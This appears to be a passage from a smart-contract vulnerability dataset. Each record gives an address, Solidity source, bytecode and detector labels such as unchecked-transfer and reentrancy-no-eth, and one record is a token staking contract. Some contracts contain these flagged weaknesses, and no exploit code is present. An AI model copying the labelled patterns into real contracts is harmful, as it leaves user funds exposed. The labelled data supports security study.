ffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561069457600080fd5b505afa1580156106a8573d6000803e3d6000fd5b505050506040513d60208110156106be57600080fd5b810190808051906020019092919050505014610742576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4e65656420746f2061757468656e74696361746520666972737421000000000081525060200191505060405180910390fd5b6802b5e3af16b1880000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156107eb57600080fd5b505afa1580156107ff573d6000803e3d6000fd5b505050506040513d602081101561081557600080fd5b810190808051906020019092919050505010158061091557506802b5e3af16b1880000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231336040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108d757600080fd5b505afa1580156108eb573d6000803e3d6000fd5b505050506040513d602081101561090157600080fd5b810190808051906020019092919050505010155b610987576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f4d75737420686f6c64203530204744414f21000000000000000000000000000081525060200191505060405180910390fd5b61099033610ef9565b15610a03576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a20416c72656164792070757263686173656421000081525060200191505060405180910390fd5b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1662fdd58e600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166001546040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060206040518083038186803b158015610acf57600080fd5b505afa158015610ae3573d6000803e3d6000fd5b505050506040513d6020811015610af957600080fd5b810190808051906020019092919050505011610b7d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601e8152602001807f43616e6e6f74206275793a204e6f206d6f726520617661696c61626c6521000081525060200191505060405180910390fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f242432a600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff163360015460016040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018381526020018281526020018060200182810382526000815260200160200195505050505050600060405180830381600087803b158015610c9b57600080fd5b505af1158015610caf573d6000803e3d6000fd5b505050506001600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550565b60015481565b610d1b610e9b565b610d8d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610edd61134c565b73ffffffffffffffffffffffffffffffffffffffff1614905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610f7d610e9b565b610fef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b611078610e9b565b6110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60008090505b81518110156111715760016003600084848151811061110b57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506110f0565b5050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6111a3610e9b565b611215576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611278610e9b565b6112ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b6112f381611354565b50565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806114996026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a265627a7a723158205cada26d3026342da57140970b2167fe0b5ddfcd443f802fcaf07bf6012a857064736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
548
0x96a670e362ee4536ce0033ce22f4ebe257daae05
pragma solidity 0.6.12; // SPDX-License-Identifier: BSD-3-Clause /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } interface Token { function transferFrom(address, address, uint) external returns (bool); function transfer(address, uint) external returns (bool); } contract beesfinancestaking is Ownable { using SafeMath for uint; using EnumerableSet for EnumerableSet.AddressSet; event RewardsTransferred(address holder, uint amount); // beesfinance token contract address address public constant tokenAddress = 0xC483ad6F9B80B38691E95b708DE1d46721366ce3; // reward rate 60.00% per year uint public constant rewardRate = 6000; uint public constant rewardInterval = 365 days; // staking fee 1.00 percent uint public constant stakingFeeRate = 100; // unstaking fee 0.00 percent uint public constant unstakingFeeRate = 0; // unstaking possible after 72 hours uint public constant cliffTime = 72 hours; uint public totalClaimedRewards = 0; EnumerableSet.AddressSet private holders; mapping (address => uint) public depositedTokens; mapping (address => uint) public stakingTime; mapping (address => uint) public lastClaimedTime; mapping (address => uint) public totalEarnedTokens; function updateAccount(address account) private { uint pendingDivs = getPendingDivs(account); if (pendingDivs > 0) { require(Token(tokenAddress).transfer(account, pendingDivs), "Could not transfer tokens."); totalEarnedTokens[account] = totalEarnedTokens[account].add(pendingDivs); totalClaimedRewards = totalClaimedRewards.add(pendingDivs); emit RewardsTransferred(account, pendingDivs); } lastClaimedTime[account] = now; } function getPendingDivs(address _holder) public view returns (uint) { if (!holders.contains(_holder)) return 0; if (depositedTokens[_holder] == 0) return 0; uint timeDiff = now.sub(lastClaimedTime[_holder]); uint stakedAmount = depositedTokens[_holder]; uint pendingDivs = stakedAmount .mul(rewardRate) .mul(timeDiff) .div(rewardInterval) .div(1e4); return pendingDivs; } function getNumberOfHolders() public view returns (uint) { return holders.length(); } function deposit(uint amountToStake) public { require(amountToStake > 0, "Cannot deposit 0 Tokens"); require(Token(tokenAddress).transferFrom(msg.sender, address(this), amountToStake), "Insufficient Token Allowance"); updateAccount(msg.sender); uint fee = amountToStake.mul(stakingFeeRate).div(1e4); uint amountAfterFee = amountToStake.sub(fee); require(Token(tokenAddress).transfer(owner, fee), "Could not transfer deposit fee."); depositedTokens[msg.sender] = depositedTokens[msg.sender].add(amountAfterFee); if (!holders.contains(msg.sender)) { holders.add(msg.sender); stakingTime[msg.sender] = now; } } function withdraw(uint amountToWithdraw) public { require(depositedTokens[msg.sender] >= amountToWithdraw, "Invalid amount to withdraw"); require(now.sub(stakingTime[msg.sender]) > cliffTime, "You recently staked, please wait before withdrawing."); updateAccount(msg.sender); require(Token(tokenAddress).transfer(msg.sender, amountToWithdraw), "Could not transfer tokens."); depositedTokens[msg.sender] = depositedTokens[msg.sender].sub(amountToWithdraw); if (holders.contains(msg.sender) && depositedTokens[msg.sender] == 0) { holders.remove(msg.sender); } } function claimDivs() public { updateAccount(msg.sender); } uint private constant stakingAndDaoTokens = 13200e18; function getStakingAndDaoAmount() public view returns (uint) { if (totalClaimedRewards >= stakingAndDaoTokens) { return 0; } uint remaining = stakingAndDaoTokens.sub(totalClaimedRewards); return remaining; } // function to allow admin to claim *any* ERC20 tokens sent to this contract function transferAnyERC20Tokens(address _tokenAddr, address _to, uint _amount) public onlyOwner { if (_tokenAddr == tokenAddress) { totalClaimedRewards = totalClaimedRewards.add(_amount); } Token(_tokenAddr).transfer(_to, _amount); } }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c80638da5cb5b116100ad578063c326bf4f11610071578063c326bf4f14610429578063d578ceab14610481578063d816c7d51461049f578063f2fde38b146104bd578063f3f91fa0146105015761012c565b80638da5cb5b1461031d57806398896d10146103515780639d76ea58146103a9578063b6b55f25146103dd578063bec4de3f1461040b5761012c565b8063583d42fd116100f4578063583d42fd146101c35780635ef057be1461021b5780636270cd18146102395780636a395ccb146102915780637b0a47ee146102ff5761012c565b80630f1a64441461013157806319aa70e71461014f578063268cab49146101595780632e1a7d4d14610177578063308feec3146101a5575b600080fd5b610139610559565b6040518082815260200191505060405180910390f35b610157610560565b005b61016161056b565b6040518082815260200191505060405180910390f35b6101a36004803603602081101561018d57600080fd5b81019080803590602001909291905050506105b4565b005b6101ad610962565b6040518082815260200191505060405180910390f35b610205600480360360208110156101d957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610973565b6040518082815260200191505060405180910390f35b61022361098b565b6040518082815260200191505060405180910390f35b61027b6004803603602081101561024f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610990565b6040518082815260200191505060405180910390f35b6102fd600480360360608110156102a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109a8565b005b610307610b16565b6040518082815260200191505060405180910390f35b610325610b1c565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6103936004803603602081101561036757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b40565b6040518082815260200191505060405180910390f35b6103b1610caf565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610409600480360360208110156103f357600080fd5b8101908080359060200190929190505050610cc7565b005b610413611137565b6040518082815260200191505060405180910390f35b61046b6004803603602081101561043f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061113f565b6040518082815260200191505060405180910390f35b610489611157565b6040518082815260200191505060405180910390f35b6104a761115d565b6040518082815260200191505060405180910390f35b6104ff600480360360208110156104d357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611162565b005b6105436004803603602081101561051757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112b1565b6040518082815260200191505060405180910390f35b6203f48081565b610569336112c9565b565b60006902cb92cc8f67144000006001541061058957600090506105b1565b60006105aa6001546902cb92cc8f671440000061155f90919063ffffffff16565b9050809150505b90565b80600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610669576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f496e76616c696420616d6f756e7420746f20776974686472617700000000000081525060200191505060405180910390fd5b6203f4806106bf600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b11610715576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603481526020018061180c6034913960400191505060405180910390fd5b61071e336112c9565b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156107a357600080fd5b505af11580156107b7573d6000803e3d6000fd5b505050506040513d60208110156107cd57600080fd5b8101908080519060200190929190505050610850576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b6108a281600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461155f90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108f933600261157690919063ffffffff16565b801561094457506000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1561095f5761095d3360026115a690919063ffffffff16565b505b50565b600061096e60026115d6565b905090565b60056020528060005260406000206000915090505481565b606481565b60076020528060005260406000206000915090505481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a0057600080fd5b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a6457610a5d816001546115eb90919063ffffffff16565b6001819055505b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610ad557600080fd5b505af1158015610ae9573d6000803e3d6000fd5b505050506040513d6020811015610aff57600080fd5b810190808051906020019092919050505050505050565b61177081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610b5682600261157690919063ffffffff16565b610b635760009050610caa565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415610bb45760009050610caa565b6000610c08600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020544261155f90919063ffffffff16565b90506000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490506000610ca1612710610c936301e13380610c8587610c776117708961160790919063ffffffff16565b61160790919063ffffffff16565b61163690919063ffffffff16565b61163690919063ffffffff16565b90508093505050505b919050565b73c483ad6f9b80b38691e95b708de1d46721366ce381565b60008111610d3d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f43616e6e6f74206465706f736974203020546f6b656e7300000000000000000081525060200191505060405180910390fd5b73c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b8152600401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b158015610de057600080fd5b505af1158015610df4573d6000803e3d6000fd5b505050506040513d6020811015610e0a57600080fd5b8101908080519060200190929190505050610e8d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601c8152602001807f496e73756666696369656e7420546f6b656e20416c6c6f77616e63650000000081525060200191505060405180910390fd5b610e96336112c9565b6000610ec0612710610eb260648561160790919063ffffffff16565b61163690919063ffffffff16565b90506000610ed7828461155f90919063ffffffff16565b905073c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015610f7e57600080fd5b505af1158015610f92573d6000803e3d6000fd5b505050506040513d6020811015610fa857600080fd5b810190808051906020019092919050505061102b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f436f756c64206e6f74207472616e73666572206465706f736974206665652e0081525060200191505060405180910390fd5b61107d81600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506110d433600261157690919063ffffffff16565b611132576110ec33600261164f90919063ffffffff16565b5042600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6301e1338081565b60046020528060005260406000206000915090505481565b60015481565b600081565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146111ba57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111f457600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60066020528060005260406000206000915090505481565b60006112d482610b40565b905060008111156115175773c483ad6f9b80b38691e95b708de1d46721366ce373ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561136457600080fd5b505af1158015611378573d6000803e3d6000fd5b505050506040513d602081101561138e57600080fd5b8101908080519060200190929190505050611411576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f436f756c64206e6f74207472616e7366657220746f6b656e732e00000000000081525060200191505060405180910390fd5b61146381600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115eb90919063ffffffff16565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506114bb816001546115eb90919063ffffffff16565b6001819055507f586b2e63a21a7a4e1402e36f48ce10cb1ec94684fea254c186b76d1f98ecf1308282604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a15b42600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008282111561156b57fe5b818303905092915050565b600061159e836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61167f565b905092915050565b60006115ce836000018373ffffffffffffffffffffffffffffffffffffffff1660001b6116a2565b905092915050565b60006115e48260000161178a565b9050919050565b6000808284019050838110156115fd57fe5b8091505092915050565b6000808284029050600084148061162657508284828161162357fe5b04145b61162c57fe5b8091505092915050565b60008082848161164257fe5b0490508091505092915050565b6000611677836000018373ffffffffffffffffffffffffffffffffffffffff1660001b61179b565b905092915050565b600080836001016000848152602001908152602001600020541415905092915050565b6000808360010160008481526020019081526020016000205490506000811461177e57600060018203905060006001866000018054905003905060008660000182815481106116ed57fe5b906000526020600020015490508087600001848154811061170a57fe5b906000526020600020018190555060018301876001016000838152602001908152602001600020819055508660000180548061174257fe5b60019003818190600052602060002001600090559055866001016000878152602001908152602001600020600090556001945050505050611784565b60009150505b92915050565b600081600001805490509050919050565b60006117a7838361167f565b611800578260000182908060018154018082558091505060019003906000526020600020016000909190919091505582600001805490508360010160008481526020019081526020016000208190555060019050611805565b600090505b9291505056fe596f7520726563656e746c79207374616b65642c20706c656173652077616974206265666f7265207769746864726177696e672ea2646970667358221220b37b8799366fe0c1ea7e672119025e9e7196dac9a960abf19d845187df32203f64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
549
0xb0d218a325b0e35dcba740bc9f45d86ad380c353
//SPDX-License-Identifier: MIT pragma solidity ^0.8.0; contract OwnableData { // V1 - V5: OK address public owner; // V1 - V5: OK address public pendingOwner; } contract Ownable is OwnableData { // E1: OK event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } // F1 - F9: OK // C1 - C21: OK function transferOwnership(address newOwner, bool direct, bool renounce) public onlyOwner { if (direct) { // Checks require(newOwner != address(0) || renounce, "Ownable: zero address"); // Effects emit OwnershipTransferred(owner, newOwner); owner = newOwner; } else { // Effects pendingOwner = newOwner; } } // F1 - F9: OK // C1 - C21: OK function claimOwnership() public { address _pendingOwner = pendingOwner; // Checks require(msg.sender == _pendingOwner, "Ownable: caller != pending owner"); // Effects emit OwnershipTransferred(owner, _pendingOwner); owner = _pendingOwner; pendingOwner = address(0); } // M1 - M5: OK // C1 - C21: OK modifier onlyOwner() { require(msg.sender == owner, "Ownable: caller is not the owner"); _; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's 